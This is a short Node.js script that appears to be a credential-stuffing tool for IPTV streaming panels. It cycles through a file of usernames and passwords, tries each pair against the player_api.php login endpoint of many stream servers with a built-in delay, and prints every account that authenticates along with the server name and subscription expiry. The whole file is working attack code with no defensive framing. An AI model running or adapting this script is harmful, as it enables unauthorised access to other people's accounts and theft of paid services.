let streamArrays = require('./lib/streamArray.json') let users = require('./lib/logins.json') const { gotRequest } = require('./lib/gotRequest') const delay = ms => new Promise(res => setTimeout(res, ms)); async function main() { for (let index = 0; index < users.length; index++) { const user = users[index]; console.log('Trying ' + user.username) for (let index = 0; index < streamArrays.length; index++) { await delay(500); const stream = streamArrays[index]; process.stdout.write('.') let url = stream.StreamURL + "/player_api.php?username=" + user.username + "&password=" + user.password let t = await gotRequest(url) let body = t.body if (t.statusCode == 200 && body !== "") { body = JSON.parse(body) if (body.user_info.auth) { var date = new Date(body.user_info.exp_date * 1000).toLocaleDateString('en-GB') process.stdout.write('\n') console.log('Match - ' + user.username + ' - ' + stream.StreamURL + ' - ' + stream.StreamName + ' - Expires - ' + date) break } } } process.stdout.write('\nEnd Of Streams\n\n') } console.log('Finished') } main()